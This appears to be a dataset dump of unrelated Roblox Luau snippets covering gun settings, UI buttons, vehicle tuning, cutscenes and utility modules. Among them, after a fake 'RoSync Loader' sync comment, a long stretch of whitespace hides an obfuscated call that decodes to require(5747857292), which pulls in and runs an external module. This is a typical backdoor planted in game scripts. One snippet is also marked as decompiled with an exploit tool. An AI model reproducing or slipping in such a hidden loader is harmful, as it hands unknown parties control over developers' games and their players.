Roblox/luau_corpus huggingface dataset:
-- Random number generator that will calculate drop chance and random drop position
local randomGenerator = Random.new()
-- Climb or Jump
	if Hit and Hit ~= AItorso then

		if (Hit.Name == "Truss" and target.Position.y > torsoPos.y - 3) or target.Parent == Hit.Parent then -- ignore parts called "Ladder", if AI is level or below CURRENT Targ pos.
			Hit = nil
			ClimbingLadder = true  -- Climb and don't check floor

		else
--- Skill
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
Animation = Instance.new("Animation")
Animation.AnimationId = "rbxassetid://4934580993"

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.V and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
		Debounce = false
		Tool.Active.Value = "BallSand"
		wait(0.1)
		Track1 = Player.Character.Humanoid:LoadAnimation(Animation)
		Track1:Play()
		wait(0.15)
		script.Fire:FireServer(plr)
	local hum =  Player.Character.Humanoid
	for i = 1,30 do
		wait()
		hum.CameraOffset = Vector3.new(
			math.random(-1,1),
			math.random(-1,1),
			math.random(-1,1)
		)
	end
	hum.CameraOffset = Vector3.new(0,0,0)
	    wait(0.15)
		Tool.Active.Value = "None"
		wait(2)
		Debounce = true
	end
end)
-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0.05,0.13,-0.2) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
-- Update clock once per second
while true do
	updateClock()
	wait(1)
end
-- Create component
local ScopeHUD = Roact.PureComponent:extend 'ScopeHUD'
-- preload our two static images here
Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=58247550")
Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=58247679")

function waitForChild(parent, child)
	while not parent:FindFirstChild(child) do parent.ChildAdded:wait() end
end

local screen = script.Parent

local staticDecal = Instance.new("Decal")
staticDecal.Name = "Static"
staticDecal.Texture = "http://www.roblox.com/asset/?id=58247550"
staticDecal.Face = "Left"

waitForChild(screen, "ClickDetector")
local clickDetector = screen.ClickDetector

function flicker(timeToFlicker)
	local startTime = tick()
	while tick() - startTime < timeToFlicker do
		staticDecal.Texture = "http://www.roblox.com/asset/?id=58247679"
		wait(flickerSpeed)
		staticDecal.Texture = "http://www.roblox.com/asset/?id=58247550"
		wait(flickerSpeed)
	end
end

local debounce = false
function tvOn()
	if debounce then return end
	debounce = true

	-- should take care of one little data persistance caveat...
	static = screen:FindFirstChild("Static")
	if static then static:Remove() end

	staticDecal.Parent = screen

	flicker(3)

	staticDecal.Parent = nil
	debounce = false
end

clickDetector.MouseClick:connect(tvOn)
--------SETTINGS--------
local ITEM_NAME = "Crossbow"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash"
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	,EnableHolster = false
	,HolsterTo = 'Torso'				 -- Put the name of the body part you wanna holster to
	,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
	
	,RightArmPos = CFrame.new(-0.85, 0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Server
	,LeftArmPos = CFrame.new(1.05,0.9,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20))	--server
	
	,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
	,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))

	,RightPos = CFrame.new(-.65, -0.2, -.85) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Client
	,LeftPos = CFrame.new(1.1, 0.05, -1.5) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-20))	--Client
}

return Config
-- привязываем действие к нажатию
local button = script.Parent 
local open=script.Parent.Parent.open

local function onButtonActivated()
	open.Value = "none"
end

button.Activated:Connect(onButtonActivated)
--------------------[ SPRINTING FUNCTIONS ]-------------------------------------------

function canRun(midRun)
	return ((Forward and (not Backward)) and
		Walking and (Stamina > 0) and Running and
		Selected and (midRun and true or onGround) and
		runReady and (S.canFireWhileRunning and true or (not Firing))
	)
end

function monitorStamina()
	Running = true
	if (not canRun(false)) then
		Running = false
		return
	end
	if Aimed then unAimGun(true) end
	if Stance == 1 or Stance == 2 then Stand() end
	if (not (Reloading and S.reloadSettings.Anim)) then
		if S.canFireWhileRunning then
			tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4)
			tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4)
			tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4)
		else
			tweenJoint(LWeld, armC0[1], S.runningC1.leftArm, Sine, 0.4)
			tweenJoint(RWeld, armC0[2], S.runningC1.rightArm, Sine, 0.4)
			tweenJoint(Grip, nil, S.runningC1.Grip, Sine, 0.4)
		end
	end
	crossOffset = 50
	while runKeyPressed do
		if canRun(true) then
			if onGround then
				local newStamina = Stamina - 1
				Stamina = (newStamina < 0 and 0 or newStamina)
			end
		else
			break
		end
		RS.RenderStepped:wait()
	end
	Running = false
	if (not Aimed) and (not (Reloading and S.reloadSettings.Anim)) and (not S.canFireWhileRunning) then
		crossOffset = 0
		tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4)
		tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4)
		tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4)
	end
	
	rechargeStamina()
end

function rechargeStamina()
	chargingStamina = true
	while ((not runKeyPressed) or (Stamina < maxStamina)) and (not Running) do
		if Stamina < maxStamina then
			local newStamina = Stamina + (S.sprintTime / S.staminaCoolTime)
			Stamina = (newStamina > maxStamina and maxStamina or newStamina)
		elseif Stamina >= maxStamina then
			break
		end
		RS.RenderStepped:wait()
	end
	chargingStamina = false
end
--[[
	A helper function to define a Rodux action creator with an associated name.
]]
local function makeActionCreator(name, fn)
	assert(type(name) == "string", "Bad argument #1: Expected a string name for the action creator")

	assert(type(fn) == "function", "Bad argument #2: Expected a function that creates action objects")

	return setmetatable({
		name = name,
	}, {
		__call = function(self, ...)
			local result = fn(...)

			assert(type(result) == "table", "Invalid action: An action creator must return a table")

			result.type = name

			return result
		end
	})
end

return makeActionCreator
--//trunk
local tk = Instance.new("Motor", script.Parent.Parent.Misc.TK.SS)
tk.MaxVelocity = 0.02
tk.Part0 = script.Parent.TK
tk.Part1 = tk.Parent

fl.MaxVelocity = 0.03
fl.Part0 = script.Parent.FL
fl.Part1 = fl.Parent

fr.MaxVelocity = 0.03
fr.Part0 = script.Parent.FR
fr.Part1 = fr.Parent

rl.MaxVelocity = 0.03
rl.Part0 = script.Parent.RL
rl.Part1 = rl.Parent

rr.MaxVelocity = 0.03
rr.Part0 = script.Parent.RR
rr.Part1 = rr.Parent

wl.MaxVelocity = 0.007
wl.Part0 = script.Parent.Parent.Misc.FL.Door.WD
wl.Part1 = wl.Parent

wr.MaxVelocity = 0.007
wr.Part0 = script.Parent.Parent.Misc.FR.Door.WD
wr.Part1 = wr.Parent

wl2.MaxVelocity = 0.007
wl2.Part0 = script.Parent.Parent.Misc.RL.Door.WD
wl2.Part1 = wl2.Parent

wr2.MaxVelocity = 0.007
wr2.Part0 = script.Parent.Parent.Misc.RR.Door.WD
wr2.Part1 = wr2.Parent
--	====================
--	BASIC
--	A basic settings for the gun
--	====================

		Auto = false;
		MuzzleOffset = Vector3.new(0, 0.625, 1.25);
		BaseDamage = 15;
		FireRate = 0.05; --In second
		ReloadTime = 2; --In second
		AmmoPerClip = 12; --Put "math.huge" to make this gun has infinite ammo and never reload
		Spread = 1.25; --In degree
		HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
		HeadshotDamageMultiplier = 3;
		MouseIconID = "316279304";
		HitSoundIDs = {186809061,186809249,186809250,186809252};
		IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate
		IdleAnimationSpeed = 1;
		FireAnimationID = 94332152; --Set to "nil" if you don't want to animate
		FireAnimationSpeed = 6;
		ReloadAnimationID = nil; --Set to "nil" if you don't want to animate
		ReloadAnimationSpeed = 1;
-- Loading
local CutsceneFolder = workspace.Cutscenes:WaitForChild("level1") -- The folder that contains the cutscene data (Cameras...)
local Destroy = false -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.

local Cutscene = require(CutsceneModule)

local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder

local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
-- PROPERTIES
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
IconController.leftOffset = 0
IconController.rightOffset = 0
IconController.voiceChatEnabled = false
IconController.mimicCoreGui = true
IconController.healthbarDisabled = false
IconController.activeButtonBCallbacks = 0
IconController.disableButtonB = false
--[[Transmission]]
	Tune.TransModes		= {"Auto"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
	    --[[ 5 ]]		0.81		,
	    --[[ 6 ]]       0.64		,
	    --[[ 7 ]]       0.52        ,
    }
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--Button Event
for _, b in pairs(scroll:GetChildren()) do
	if b.ClassName=="TextButton" then
		b.MouseButton1Click:Connect(function()
			local result = event:InvokeServer(".", b.Tool.Value)
			frame.Visible = false
			frame.Search.Text = ""
			if result then
				player.Character.Humanoid:UnequipTools()
				player.Character.Humanoid:EquipTool(result)
			end
		end)
	end
end
-- Set up the click event handlers for each button
for _, button in ipairs(dock:GetChildren()) do
	if button:IsA("ImageButton") then
		button.MouseButton1Click:Connect(function()
			local Click = script.Click
			Click:Play()
		end)
	end
end
--manually add the rest
--table.insert(_G.Safezones, {["Position"] = workspace.SpeciesSelectionArea.SpiritSelectionAnchor.Position, ["Magnitude"] = workspace.SpeciesSelectionArea.SpiritSelectionAnchor.Radius.Value, ["Spawn"] = true})
table.insert(_G.Safezones, workspace.BiomeSelectionArea.SpawnSelectionAnchor.CFrame)

for _,part in pairs(workspace.SpawnParts:GetChildren()) do
	table.insert(_G.Safezones, part.CFrame)

end
----
----
	if hit.Parent:findFirstChild("Humanoid") ~= nil then
		local target1 = "RightUpperLeg"
		local target2 = "RightUpperLeg2"
		if hit.Parent:findFirstChild(target2) == nil then
			local g = script.Parent.Parent[target2]:clone()
			g.Parent = hit.Parent
			local C = g:GetChildren()
			for i=1, #C do
				if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then
					local W = Instance.new("Weld")
					W.Part0 = g.Middle
					W.Part1 = C[i]
					local CJ = CFrame.new(g.Middle.Position)
					local C0 = g.Middle.CFrame:inverse()*CJ
					local C1 = C[i].CFrame:inverse()*CJ
					W.C0 = C0
					W.C1 = C1
					W.Parent = g.Middle
				end
				local Y = Instance.new("Weld")
				Y.Part0 = hit.Parent[target1]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
			end

		local h = g:GetChildren()
		for i = 1, # h do
			h[i].Anchored = false
			h[i].CanCollide = false
		end
	end
	end
--[[
	[Whether the whole character turns to face the mouse.]
	[If set to true, MseGuide will be set to true and both HeadHorFactor and BodyHorFactor will be set to 0]
--]]
local TurnCharacterToMouse = true
--[=[
	@return Keyboard

	Constructs a new keyboard input capturer.

	```lua
	local keyboard = Keyboard.new()
	```
]=]
function Keyboard.new()
	local self = setmetatable({}, Keyboard)
	self._trove = Trove.new()
	self.KeyDown = self._trove:Construct(Signal)
	self.KeyUp = self._trove:Construct(Signal)
	self:_setup()
	return self
end
--Functions
local function onTouched(hit)
	local Humanoid = hit.Parent:FindFirstChild("Humanoid")
	local player = game.Players:GetPlayerFromCharacter(hit.Parent)

	if Humanoid and Debounce == false then
		local leaderstats = player:FindFirstChild("leaderstats")
		Debounce = true

		if Debounce == true and leaderstats then
			local sound = script.Parent["Game Sound Correct"]

			if not sound.IsPlaying then
				sound:Play()
		
				Debounce = false
			leaderstats.Guesses.Value = leaderstats.Guesses.Value + AMOUNT_GIVEN
			wait(2)
				wait(10)
		end
	end
end
end
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.Fantasy
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_FADE_SPEED = 1.5

local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250	--This limits the number of bubble chats that you see above characters

local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive
if FFlagUserChatNewMessageLengthCheck2 then
	MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1
else
	MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1
end

local NEAR_BUBBLE_DISTANCE = 65	--previously 45
local MAX_BUBBLE_DISTANCE = 100	--previously 80
--
script.Parent.OnServerEvent:Connect(function(p)
	local Character = p.Character
	local Humanoid = Character.Humanoid
	local RootPart = Character.HumanoidRootPart
	local Slash1 = RS.Effects.Part1:Clone()
	local Anim = Humanoid:LoadAnimation(script.Animation)
	Anim:Play()
	Humanoid.WalkSpeed = 10
	script.Attack:Play()
	Slash1.Parent = FX
	Slash1.CFrame = RootPart.CFrame * CFrame.new(0,0,-3)
	local BV = Instance.new("BodyVelocity",Slash1)
	BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
	BV.Velocity = p.Character.HumanoidRootPart.CFrame.LookVector * 60
	Slash1.Touched:Connect(function(hit)
		if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= p.Name then
			hit.Parent.Humanoid:TakeDamage(Damage)
			local HitEffect = Effects.Hit1.Attachment:Clone()
			local RootPart2 = hit.Parent.HumanoidRootPart
			HitEffect.Parent = RootPart2
			for _,Particles in pairs(HitEffect:GetDescendants()) do
				if Particles:IsA("ParticleEmitter") then
					Particles:Emit(Particles:GetAttribute("EmitCount"))
				end
			end
			HitEffect.Hit:Play()
			local vel = Instance.new("BodyVelocity", RootPart2)
			vel.MaxForce = Vector3.new(1,1,1) * 1000000;
			vel.Parent = RootPart2
			vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
			vel.Name  =  "SmallMoveVel"
			game.Debris:AddItem(vel,1)
			Slash1:Destroy()
	end
	wait(1)
	Slash1.Anchored = true
	for _,Particles in pairs(Slash1.Part.Parent:GetDescendants()) do
		if Particles:IsA("ParticleEmitter") then
			Particles.Enabled = false
		end
		end
		Slash1.PointLight.Enabled = false
end)
end)
--[=[
	Cleans up all objects in the trove. This is
	similar to calling `Remove` on each object
	within the trove.
]=]
function Trove:Clean()
	for _,obj in ipairs(self._objects) do
		self:_cleanupObject(obj[1], obj[2])
	end
	table.clear(self._objects)
end


function Trove:_cleanupObject(object, cleanupMethod)
	if cleanupMethod == FN_MARKER then
		object()
	elseif cleanupMethod == THREAD_MARKER then
		coroutine.close(object)
	else
		object[cleanupMethod](object)
	end
end
-- Services
local playersService = game:GetService("Players")
local tweenService = game:GetService("TweenService")
local part = script.Parent
--[[**
	matches given tuple against tuple type definition

	@param ... The type definition for the tuples

	@returns A function that will return true iff the condition is passed
**--]]
function t.tuple(...)
	local checks = {...}
	return function(...)
		local args = {...}
		for i = 1, #checks do
			local success, errMsg = checks[i](args[i])
			if success == false then
				return false, string.format("Bad tuple index #%d:\n\t%s", i, errMsg or "")
			end
		end
		return true
	end
end
---
local  Paint = false
	
script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Maroon",Paint)
end)
--[[ Last synced 12/13/2020 04:13 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--- Sets a metatable on a table such that it errors when
-- indexing a nil value
-- @tparam table _table Table to error on indexing
-- @treturn table _table The same table
function Table.readonly(_table)
	return setmetatable(_table, {
		__index = function(self, index)
			error(("Bad index %q"):format(tostring(index)), 2)
		end;
		__newindex = function(self, index, value)
			error(("Bad index %q"):format(tostring(index)), 2)
		end;
	})
end
-- Decompiled with the Synapse X Luau decompiler.

local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {};
local l__LocalPlayer__3 = game.Players.LocalPlayer;
local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule"));
v2.value = 250;
v2.event = v4.event.Revives;
v4.event.Revives.Event:connect(function(p1)
	if type(p1) == "number" then
		v2.value = p1;
		return;
	end;
	v2.value = 250;
end);
v2.value = v4.data.Revives;
return v2;